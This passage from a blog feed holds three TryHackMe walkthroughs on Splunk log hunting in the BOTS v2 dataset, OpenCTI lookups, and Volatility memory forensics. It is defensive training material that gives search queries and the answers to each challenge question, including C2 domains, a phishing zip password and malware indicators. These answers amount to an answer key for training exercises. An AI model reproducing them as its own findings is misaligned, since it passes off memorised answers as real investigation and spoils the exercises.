            <content:encoded><![CDATA[<p>Check out <a href="https://tryhackme.com/room/splunk2gcd5">Splunk 2</a> room on <a href="https://tryhackme.com/">TryHackMe</a></p><p>Based on version 2 of the Boss of the SOC (BOTS) competition by Splunk.</p><p>Original Publish Date: Dec 31, 2022</p><h3>100 Series Questions</h3><p>The first objective is to find out what competitor website she visited. What is a good starting point?</p><p>When it comes to HTTP traffic, the source and destination IP addresses should be recorded in logs. You need Amber’s IP address.</p><p>I start with a simple query to find Amber’s IP address</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;pan:traffic&quot; amber</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pS3pqTYHSidwFNfTxDvNUA.png" /><figcaption>Found it</figcaption></figure><p>After adding it to the search and changing source type to HTTP, room wants us to add some keywords to our query. More specifically, one to remove duplicate entries and one to list as a table.</p><p>Looking at <a href="https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Metadata">the reference</a> and searching inside the page, we can easily find our related keywords</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I17LiLDWIuY5adJB4JHa_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ve8n_lx8bXxaEy-GWn0Flg.png" /></figure><p>Final query would be</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:HTTP&quot; &quot;10.0.2.101&quot; <br>| dedup site <br>| table site</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdzUcxFxgoNi99AorCKYDg.png" /></figure><p>To continue with the room, we have to find competitor website out of these.</p><p>And room says you can use industry, which Frothly is in. It’s an imaginary company, thus you won’t get anything by searching online :)</p><p>Tried to find in page, but in vain. Then I searched inside HTML with developer tools and found what we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*_eFZGkhwELsmcvHr0JOJcg.png" /></figure><h4>1 — Amber Turing was hoping for Frothly to be acquired by a potential competitor, which fell through, but visited their website to find contact information for their executive team. What is the website domain that she visited?</h4><pre>www.berkbeer.com</pre><h4>2 — Amber found the executive contact information and emailed him. What image file displayed the executive’s contact information? Answer example: /path/image.ext</h4><p>Query is now</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:HTTP&quot; &quot;10.0.2.101&quot; berkbeer.com</pre><p>Just guessed that filename would include the abbreviation CEO in it.</p><p>So our answers is</p><pre>/images/ceoberk.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*ftPOple9iJu7nMdaaXxOHQ.png" /></figure><p>Now to find email related answers, we need to change source type to SMTP.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:smtp&quot; berkbeer.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*yKR3vDIM3wNbaHWNEVVrIw.png" /></figure><p>We found Amber’s email. Now we can add that to our search</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:smtp&quot; berkbeer.com &quot;aturing@froth.ly&quot;</pre><p>We got 4 results. It’s quite manageable.</p><h4>3 — What is the CEO’s name? Provide the first and last name.</h4><p>In order to search every data column, I clicked all 4 “s<a href="http://10.10.203.190:8000/en-US/app/search/search?q=search%20index%3D%22botsv2%22%20sourcetype%3D%22stream%3Asmtp%22%20berkbeer.com%20%22aturing%40froth.ly%22&amp;display.page.search.mode=smart&amp;dispatch.sample_ratio=1&amp;workload_pool=&amp;earliest=0&amp;latest=&amp;display.page.search.tab=events&amp;display.general.type=events&amp;sid=1669205436.67#">how as raw text</a>” buttons and searched [space]berk in the page.</p><p>If it were more than a dozen, it would be a good idea to search with regex, however I didn’t bother here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*yeaLObZGMZWfYpo6VPDC0g.png" /><figcaption>We found it</figcaption></figure><p>Answer is:</p><pre>Martin Berk</pre><h4>4 — What is the CEO’s email address?</h4><p>We can see an email right under the name which is</p><pre>mberk@berkbeer.com</pre><h4>5 — After the initial contact with the CEO, Amber contacted another employee at this competitor. What is that employee’s email address?</h4><p>If we were to pay attention to the data column “receiver” under one of four packets, we can find the email in question.</p><pre>hbernhard@berkbeer.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*L4lsHjnstmehMcb-BWIIsg.png" /></figure><h4>6 — What is the name of the file attachment that Amber sent to a contact at the competitor?</h4><p>We can utilize Interesting Fields</p><pre>Saccharomyces_cerevisiae_patent.docx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2tuxcj2xk9Xg7vjI7kEVQ.png" /></figure><h4>7 — What is Amber’s personal email address?</h4><p>After spending 10 to 15 minutes searching various email regexes, I couldn’t find anything and decided to look at the hint which says look for encrypted data.</p><p>After the hint, I returned to the aforementioned 4 packets because one of them included lots of inconspicuous base64 data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*rCSF-wB3j31XzzjlDG7SDQ.png" /></figure><p>Using CyberChef to decode the longest looking base64 and searching for @ character, we can find an email.</p><pre>ambersthebest@yeastiebeastie.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwvvtsYaNLH5F1TT9AW71g.png" /></figure><h3>200 Series Questions</h3><p>Starting with the query that we are given.</p><pre>index=&quot;botsv2&quot; amber tor</pre><h4>1 — What version of TOR Browser did Amber install to obfuscate her web browsing? Answer guidance: Numeric with one or more delimiter.</h4><p>Because there are more than 300 results, I’ve decided to take a look at interesting fields one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVX1bSdQaw81bsxMLtYTjQ.png" /></figure><p>Et voilà! Answer is:</p><pre>7.0.4</pre><h4>2 — What is the public IPv4 address of the server running <a href="http://www.brewertalk.com/">www.brewertalk.com</a>?</h4><p>To find the IP, we can start simple.</p><pre>index=&quot;botsv2&quot; brewertalk.com</pre><p>Because most of the destination port is 80 I’m including that in the search.</p><pre>index=&quot;botsv2&quot; brewertalk.com dest_port=80</pre><p>By doing so, we now have only 2 IPs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o__2U6hdSOFyFOQIDqXfBA.png" /></figure><p>The IP we are looking for would be the 2nd</p><pre>52.42.208.228</pre><h4>3 — Provide the IP address of the system used to run a web vulnerability scan against <a href="http://www.brewertalk.com/">www.brewertalk.com</a>.</h4><p>If we think about it simply, scan would send lots of packages, and we should look for the IP that has sent the most packages.</p><p>Searching</p><pre>index=&quot;botsv2&quot; <a href="http://www.brewertalk.com/">www.brewertalk.com</a></pre><p>Again, utilizing interesting fields, the answer is:</p><pre>45.77.65.211</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*KBirEMfpfyqICJUk3jY3DA.png" /></figure><h4>4 — The IP address from Q#2 is also being used by a likely different piece of software to attack a URI path. What is the URI path? Answer guidance: Include the leading forward slash in your answer. Do not include the query string or other parts of the URI. Answer example: /phpinfo.php</h4><p>Base query is</p><pre>index=&quot;botsv2&quot; src_ip=&quot;45.77.65.211&quot;</pre><p>It returned lots of results. Once again, interesting fields come to our aid.</p><p>URI path field is most likely to reveal attacked path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*MMFv2AyP70v2AW1og64bPA.png" /></figure><p>You would expect one of the top results would be the answer. And because we know the answer format, anything but the first result seems unlikely because the second one is a search page.</p><h4>5 — What SQL function is being abused on the URI path from the previous question?</h4><p>As per our recent findings now our query looks like this:</p><pre>index=&quot;botsv2&quot; src_ip=&quot;45.77.65.211&quot; uri_path=&quot;/member.php&quot;</pre><p>Looking at the first item’s ‘form data’ field, we can see the utilized function:</p><pre>updatexml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7EF02hhmzVySVMwVfJ8qVg.png" /><figcaption>Form data field</figcaption></figure><h4>Questions 6 &amp; 7</h4><p>Awesome, thus far, you have identified Amber downloaded Tor Browser (you even know the exact version). You identified what URI path and the SQL function attacked on brewertalk.com.</p><p>Your task now is to identify the cookie value that was transmitted as part of an XSS attack. The user has been identified as Kevin.</p><p>Before diving right in, get some details on Kevin. This is the first time you hear of him.</p><p>Command:</p><pre>index=&quot;botsv2&quot; kevin</pre><p>Ok, now you have Kevin’s first and last name. Time to figure out the cookie value from the XSS attack.</p><p>As before, you can start with a simple keyword search.</p><p>You know that you’re looking for events related to Kevin’s HTTP traffic with an XSS payload, and you’re focused on the cookie value.</p><p>Honestly, you should be able to tackle this one on your own as well. Use the previous search queries as your guide.</p><p>After you executed the search query that yields the events with the answer, you can identify the username used for the spear phishing attack.</p><p>Based on the question hint, you can perform a keyword search query here as well.</p><h4>6 — What was the value of the cookie that Kevin’s browser transmitted to the malicious URL as part of an XSS attack? Answer guidance: All digits. Not the cookie name or symbols like an equal sign.</h4><p>Suggested by question info we start with:</p><pre>index=&quot;botsv2&quot; kevin</pre><p>And we learn his last name, which is lagerfield</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YiU9g38Z0lzDfZ2kAwRaXQ.png" /></figure><p>Searching with the last name didn’t give me much to work with, so I continue with just the name.</p><p>We know from the “story” that stream should be HTTP.</p><pre>index=&quot;botsv2&quot; kevin sourcetype=&quot;stream:http&quot;</pre><p>And using our knowledge from the previous queries, we know brewertalk.com uses PHP, so it would be a good assumption to say the attacked endpoint would include PHP in its URI path.</p><p>And to top it off, we can include script or document keywords.</p><p>So, final query would be:</p><pre>index=&quot;botsv2&quot; kevin sourcetype=&quot;stream:http&quot; (script OR document) uri_path=&quot;*\.php&quot;</pre><p>We must not forget we are looking for a cookie value :)</p><p>Peeking through the cookie field (all digits, first one)</p><pre>1502408189</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8MR7eK0hiB9kfi8U7FomXQ.png" /></figure><h4>7 — What brewertalk.com username was maliciously created by a spear phishing attack?</h4><p>Our results from the previous query is manageable enough, so I’m just going to search in page for username :)</p><p>You can see clearly barring ‘kevin’ only username is:</p><pre>kIagerfield</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nXMeHxXFJ9Bu3vrnMur88A.png" /></figure><h3>300 Series Questions</h3><p>Upward and onwards! Time to tackle some of the 300 series questions.</p><p>As with the 100 series questions, there are extra questions in this task that are not from the BOTS2 dataset.</p><h4>Questions 1 &amp; 2</h4><p>The questions start with an individual named Mallory, her MacBook, and some encrypted files.</p><p>As per the previous tasks, you can start with a keyword search to see what events are returned that are associated with Mallory.</p><h4>1 — Mallory’s critical PowerPoint presentation on her MacBook gets encrypted by ransomware on August 18. What is the name of this file after it was encrypted?</h4><p>Starting with a simple keyword:</p><pre>index=&quot;botsv2&quot; mallory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3DmqbXsnM78HWtzdxKAaeQ.png" /></figure><p>We found the hostname and or query should include file extension for PowerPoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*X7J-VfElDpTk75nvZ1wZEA.png" /><figcaption>Microsoft documentation for PowerPoint extensions</figcaption></figure><p>Now our query looks like this:</p><pre>index=&quot;botsv2&quot; host=&quot;MACLORY-AIR13&quot; (*.pptx OR *.pptm OR *.ppt)</pre><p>So the answer is:</p><pre>Frothly_marketing_campaign_Q317.pptx.crypt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUBU-BIAU4rSpxUcygDCrg.png" /></figure><h4>2 — There is a ‘Games of Thrones’ movie file that was encrypted as well. What season and episode is it?</h4><p>We know encrypted file extension which is .crypt</p><p>Now assuming the file would contain the series’ name, our query would be:</p><pre>index=&quot;botsv2&quot; host=&quot;MACLORY-AIR13&quot; (got OR game OR thrones) crypt</pre><p>And the answer is:</p><pre>S07E02</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQ7kxhS3A1cW3xMWzinf6Q.png" /></figure><h4>3 — Kevin Lagerfield used a USB drive to move malware onto kutekitten, Mallory’s personal MacBook. She ran the malware, which obfuscates itself during execution. Provide the vendor name of the USB drive Kevin likely used. Answer Guidance: Use time correlation to identify the USB drive.</h4><p>Start query is:</p><pre>index=&quot;botsv2&quot; kutekitten</pre><p>But it gives over 6k results. To reduce the number, I add USB keyword.</p><pre>index=&quot;botsv2&quot; kutekitten usb</pre><p>While looking at the columns, I see tag column that has USB value too. So I select that. And I add vendor keyword too.</p><pre>index=&quot;botsv2&quot; kutekitten usb tag=usb vendor</pre><p>Now that we have both vendor and device ID, we can look it up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwEhbJlOdUQppFNcuqnfjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nuqeDKSHm5b0PyfsmWitgQ.png" /></figure><pre>Alcor Micro Corp.</pre><h4>4 — What programming language is at least part of the malware from the question above written in?</h4><p>First, we have got to get back to our first query, which is:</p><pre>index=&quot;botsv2&quot; kutekitten</pre><p>Looking at the osquery results, I notice something suspicious under /Users which is mkraeusen user. And after adding the username as a keyword looking at interesting field names, something looks peculiar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SrZDFARdDkLDiR-yAeF5iw.png" /></figure><p>So now our query is:</p><pre>index=&quot;botsv2&quot; kutekitten mkraeusen name=file_events</pre><p>Et voilà! We have a file hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mF06_jVecPcwbFGOkDhjcA.png" /></figure><p>And searching for the hash on virustotal.com, we got our result:</p><pre>perl</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mmqj0BceOz7R0h2hVu2qbw.png" /></figure><h4>5 — When was this malware first seen in the wild? Answer Guidance: YYYY-MM-DD</h4><p>Still on virustotal, under details tab:</p><pre>2017-01-17</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTWVntjo1S5e5p1TGA5ePg.png" /></figure><h4>6 — The malware infecting kutekitten uses dynamic DNS destinations to communicate with two C&amp;C servers shortly after installation. What is the fully-qualified domain name (FQDN) of the first (alphabetically) of these destinations?</h4><p>Relations tab:</p><pre>eidk.duckdns.org</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vzV5OO8Unh_E0W-qO74xA.png" /></figure><h4>7 — From the question above, what is the fully-qualified domain name (FQDN) of the second (alphabetically) contacted C&amp;C server?</h4><pre>eidk.hopto.org</pre><h3>400 Series Questions</h3><h4>1 — A Federal law enforcement agency reports that Taedonggang often spear phishes its victims with zip files that have to be opened with a password. What is the name of the attachment sent to Frothly by a malicious Taedonggang actor?</h4><p>Now, because we are dealing with emails here, it makes sense to filter results to SMTP packets. After source filter, we still have lots to deal with. So adding ‘attachment’ keyword and zip extension also makes sense.</p><p>The final query would look like this:</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:smtp&quot; attachment *.zip</pre><p>And the answer is:</p><pre>invoice.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mwstyVZgzS0KlDGxL2plkA.png" /></figure><h4>2 — What is the password to open the zip file?</h4><p>Same email, content body includes the password.</p><pre>912345678</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*2afBywpTX_4l0f1c8lXvXg.png" /></figure><h4>3 — The Taedonggang APT group encrypts most of their traffic with SSL. What is the “SSL Issuer” that they use for the majority of their traffic? Answer guidance: Copy the field exactly, including spaces.</h4><p>For this question, you will need the attacker’s IP. Remember, there was an IP address scanning brewertalk.com.</p><p>Starting with the query including IP address and SSL keyword</p><pre>index=&quot;botsv2&quot; SSL 45.77.65.211</pre><p>Interesting field &gt; ssl_issuer gives the answer:</p><pre>C = US</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Nu9zNeCmfLk7jAAKQlIyBw.png" /></figure><h4>4 — What unusual file (for an American company) does winsys32.dll cause to be downloaded into the Frothly environment?</h4><p>Initial query:</p><pre>index=&quot;botsv2&quot; winsys32.dll</pre><p>From there we can see ftp client running. We change our source to ftp stream.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:ftp&quot;</pre><p>Now we can select loadway key from interesting fields. We are looking for downloads.</p><pre>index=&quot;botsv2&quot; sourcetype=&quot;stream:ftp&quot; loadway=Download</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*jY-x1ASU8EAcvcioJRA1fw.png" /></figure><pre>나는_데이비드를_사랑한다.hwp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*Pr5rh_4FL00TeARcWeCj_Q.png" /><figcaption>We found the filename</figcaption></figure><h4>5 — What is the first and last name of the poor innocent sap who was implicated in the metadata of the file that executed PowerShell Empire on the first victim’s workstation? Answer example: John Smith</h4><p>Use the following links to examine the execution of the malware contained within the aforementioned zip file.</p><p><a href="https://www.hybrid-analysis.com/sample/d8834aaa5ad6d8ee5ae71e042aca5cab960e73a6827e45339620359633608cf1/598155a67ca3e1449f281ac4">Hybrid Analysis</a><br><a href="https://www.virustotal.com/gui/file/d8834aaa5ad6d8ee5ae71e042aca5cab960e73a6827e45339620359633608cf1/detection">VirusTotal</a><br><a href="https://app.any.run/tasks/15d17cd6-0eb6-4f52-968d-0f897fd6c3b3">Any.run</a></p><pre>Ryan Kovar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLLg_sw_4O4sF0ELDgV0tg.png" /></figure><h4>6 — Within the document, what kind of points is mentioned if you found the text?</h4><pre>CyberEastEgg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bc_1lEk2sK_yGfEbUAnhFw.png" /></figure><h4>7 — To maintain persistence in the Frothly network, Taedonggang APT configured several Scheduled Tasks to beacon back to their C2 server. What single webpage is most contacted by these Scheduled Tasks? Answer example: index.php or images.html</h4><p>Starting with:</p><pre>index=&quot;botsv2&quot; schtasks.exe</pre><p>We know the account domain should be Frothly.</p><pre>index=&quot;botsv2&quot; schtasks.exe Account_Domain=FROTHLY</pre><p>Looking at the results we can see couple of powershell executions that are conspicuous (we know that they utilize powershell but for the sake of the hunt we will discard that information and look for oddness manually.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTGYI4l_VPXUtrmsAi8uVg.png" /></figure><p>Now we know registry key.</p><p>Searching for</p><pre>index=&quot;botsv2&quot; \\Software\\Microsoft\\Network</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*vyCithekfL9rMd7sw0SWSw.png" /></figure><p>WinRegistry looks worth while.</p><p>There are 4 items with base64 encoded text. Decoding them one by one we can deduct the answer which is:</p><pre>process.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEL0J9o7pFzu6PMwAeD6ow.png" /></figure><p>We have completed <strong>Splunk Boss of the Soc 2</strong> (<strong>BOTS2</strong>) competition dataset to increase our capabilities using Splunk.</p><p>That was it! Thank you for reading. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7def8b3c771d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: OpenCTI Walkthrough (Only Investigations)]]></title>
            <link>https://otuva.medium.com/tryhackme-opencti-walkthrough-only-investigations-123d466808e1?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/123d466808e1</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 07:11:02 GMT</pubDate>
            <atom:updated>2023-04-13T07:11:02.632Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, in this walkthrough I won’t be doing any other questions considering they already have answers within the room.</p><p>Original Publish Date: Nov 28, 2022</p><p>As a SOC analyst, you have been tasked with investigations on malware and APT groups rampaging through the world. Your assignment is to look into the <strong>CaddyWiper</strong> malware and <strong>APT37</strong> group. Gather information from OpenCTI to answer the following questions.</p><h4>1 — What is the earliest date recorded related to CaddyWiper? Format: YYYY/MM/DD</h4><p>Searching the malware and clicking the only one that shows up would put us where we want to be. Under analysis tab, we can see reports.</p><pre>2022/03/15</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*In_UBD6lDb4Ns3lW2RRDzw.png" /></figure><h4>2 — Which Attack technique is used by the malware for execution?</h4><p>Under Knowledge &gt; Attack Patterns</p><pre>Native API</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VgcrMYhDzW95WCi2k88u9g.png" /></figure><h4>3 — How many malware relations are linked to this Attack technique?</h4><p>Clicking on native API then navigating to knowledge tab, we can find our answer.</p><pre>113</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPXz64aXelw6ZJAAH0UalA.png" /></figure><h4>4 — Which 3 tools were used by the Attack Technique in 2016? (Ans: Tool1, Tool2, Tool3)</h4><p>Instead of overview, we can find what we’re looking for under Tools section. Sorting by start time</p><pre>BloodHound, Empire, ShimRatReporter</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hOQk0VJde8h6bUoj79Q-7A.png" /></figure><h4>5 — What country is APT37 associated with?</h4><p>Start by searching the keyword.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mkLlszLuWjRLDIOr_adhA.png" /></figure><p>It’s right under description.</p><pre>North Korean</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YEnAbawBqqxGAWrCH7JaUA.png" /></figure><h4>6 — Which Attack techniques are used by the group for initial access? (Ans: Technique1, Technique2)</h4><p>To find initial access techs, we have to navigate to knowledge tab then attack patterns.</p><p>Scrolling to initial access then clicking highlighted attacks to get their codes.</p><pre>T1189, T1566</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CN4xDIyCRFDbZFPcj2TWVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8GFRuEqkKRvZSwRjZl0BQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZrvMdK3PAPY57bUyXLa_sg.png" /></figure><p>And that was all to it! :) Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=123d466808e1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Volatility Walkthrough (2022) (Only Investigations)]]></title>
            <link>https://otuva.medium.com/tryhackme-volatility-walkthrough-2022-only-investigations-9b639f63d436?source=rss-460cf190eda6------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b639f63d436</guid>
            <dc:creator><![CDATA[Onur Alp Akin]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 07:01:52 GMT</pubDate>
            <atom:updated>2023-04-13T07:01:52.751Z</atom:updated>
            <content:encoded><![CDATA[<p>Check out the <a href="https://tryhackme.com/room/volatility">Volatility</a> room on <a href="https://tryhackme.com/">TryHackMe</a></p><p>Hi, in this walkthrough, I will try to explain investigation steps with <a href="https://github.com/volatilityfoundation/volatility3">Volatility</a>. I won’t use any hints for the sake of doing this room black box.</p><p>Reference I’m using is their GitHub <a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference">wiki page</a></p><p>Original Publish Date: Nov 20, 2022</p><h3>Case 1 — BOB! THIS ISN’T A HORSE!</h3><p>Your SOC has informed you that they have gathered a memory dump from a quarantined endpoint thought to have been compromised by a banking Trojan masquerading as an Adobe document. Your job is to use your knowledge of threat intelligence and reverse engineering to perform memory forensics on the infected host.</p><p>You have been informed of a suspicious IP in connection to the file that could be helpful. 41.168.5.140</p><p>The memory file is located in /Scenarios/Investigations/Investigation-1.vmem</p><h4>1 — What is the build version of the host machine in Case 001?</h4><p>After skimming through the help page, I can see OS related plugin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ulnar44kQgRBA_mUpQZ8Q.png" /><figcaption>Help page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_V1mpRkFn1Y53Qyq9EUApQ.png" /><figcaption>Info plugin output</figcaption></figure><p>The answer to the first question would be the first outlined section.</p><h4>2 — At what time was the memory file acquired in Case 001?</h4><p>The answer is the second outlined section in the above image.</p><h4>3 — What process can be considered suspicious in Case 001?</h4><p>Looking up to the reference, we can use “pstree” plugin.</p><p>The output we’re given looks fairly normal in the beginning. If you know the windows core processes, smss.exe, winlogon.exe etc. they are expected. And one process stands out. If nothing stands out intuitively, you can always search them one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6cv3KMiolf1FkZQ_zdVdA.png" /><figcaption>Pstree output</figcaption></figure><p>Answer is bottom-right box.</p><h4>4 — What is the parent process of the suspicious process in Case 001?</h4><p>Output above, top-right</p><h4>5 — What is the PID of the suspicious process in Case 001?</h4><p>Bottom-left :)</p><h4>6 — What is the parent process PID in Case 001?</h4><p>Lastly, top-left.</p><h4>7 — What user-agent was employed by the adversary in Case 001?</h4><p>Now, because we are looking for a string in a dump, we need to find strings loaded into memory. Without loading it, the program in question cannot use those. And looking at <a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#process-memory">the reference</a>, we can see what we are looking for right away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*NVB2Hv8RbWr8jRC2huVXWg.png" /><figcaption>Reference</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-90cTah_S4_0rPfkb3kjOw.png" /><figcaption>Plugin to use</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hShreMQspPDaQDmQ6GO-3Q.png" /><figcaption>Help page</figcaption></figure><p>Running the plugin right away throws an error. To fix that, we can specify a directory with -o which we can write into according to the base help page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KNT7ZouXay0mKGgr8YgUg.png" /><figcaption>Error</figcaption></figure><p>After running the command</p><pre>./vol.py -f /Scenarios/Investigations/Investigation-1.vmem -o /tmp windows.memmap --pid 1640 --dump</pre><p>and waiting for it to finish, we can see our dump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JsTj2RJZTBsVE9rwwVwEmw.png" /></figure><p>Now we can use strings to investigate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*eo327Nef2UOuZZQBtX8SoQ.png" /></figure><p>Inside less we can type -i to make it case-insensitive then search for the string user-agent</p><p>Hitting n a couple of times, we can see what we are looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7p3BikTCJ5N638mneQZWg.png" /></figure><h4>8 — Was Chase Bank one of the suspicious bank domains found in Case 001? (Y/N)</h4><p>If we are looking for a particular domain, it makes sense to search for http</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*6GZX4l5LvMKZAhVtI-QFgA.png" /></figure><p>Constructed a regex for the domain we’re looking for, and we got ourselves the answer, which is yes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_jGo-cUesi-k_bHO8qK4A.png" /></figure><h3>Case 2 — That Kind of Hurt my Feelings</h3><p>You have been informed that your corporation has been hit with a chain of ransomware that has been hitting corporations internationally. Your team has already retrieved the decryption key and recovered from the attack. Still, your job is to perform post-incident analysis and identify what actors were at play and what occurred on your systems. You have been provided with a raw memory dump from your team to begin your analysis.</p><p>The memory file is located in /Scenarios/Investigations/Investigation-2.raw</p><h4>9 — What suspicious process is running at PID 740 in Case 002?</h4><p>Utilizing pstree again, we can see something <em>really</em> standing out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G93OiGzkolysIYAPTQL0EA.png" /></figure><p>Answer is highlighted above.</p><h4>10 — What is the full path of the suspicious binary in PID 740 in Case 002?</h4><p>As you can see, there’s no path in pstree</p><p>Searching for the keyword “path” in reference page, we reach the plugin dlllist</p><p>To filter results, we should pipe out to grep by reason of we’re looking for a specific pid</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRsVda_RYU1WEjd6cPaw7A.png" /><figcaption>Dlllist with grep</figcaption></figure><p>We found our answer quickly.</p><h4>11 — What is the parent process of PID 740 in Case 002?</h4><p>From the pstree output before. It would be tasksche.exe</p><h4>12 — What is the suspicious parent process PID connected to the decryptor in Case 002?</h4><p>The question is referring to the PID of tasksche.exe which is 1940</p><h4>13 — From our current information, what malware is present on the system in Case 002?</h4><p>If it’s not distinctive enough that we are dealing with wannacry here, you can search wannadecryptor which will give out the result anyway.</p><h4>14 — What DLL is loaded by the decryptor used for socket creation in Case 002?</h4><p>Nothing was conspicuous, so basically I searched every DLL from the output above :) and found out the answer is WS2_32.dll</p><h4>15 — What mutex can be found that is a known indicator of the malware in question in Case 002?</h4><p>You should know the drill by now :) search keyword, find which plugin to use, look up help page for the plugin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VST-DMddDfPUdeVAGCdZbw.png" /></figure><p>Using the same PID, we can’t see anything stand out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kap8XrkIPDLbVnmL6tUPOw.png" /></figure><p>Our second option would be to search for parent PID</p><p>And to filter results only by PID I’m using Perl regex flag with the PID</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6f1FkdG88kcTtrOmXww3fg.png" /></figure><p>We found our answer: MsWinZonesCacheCounterMutexA</p><h4>16 — What plugin could be used to identify all files loaded from the malware working directory in Case 002?</h4><p>The last question is a simple one. From the reference, it’s windows.filescan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4iezoP1MLln5Xnha0if1TQ.png" /></figure><p>That was it! Hope it was clear, 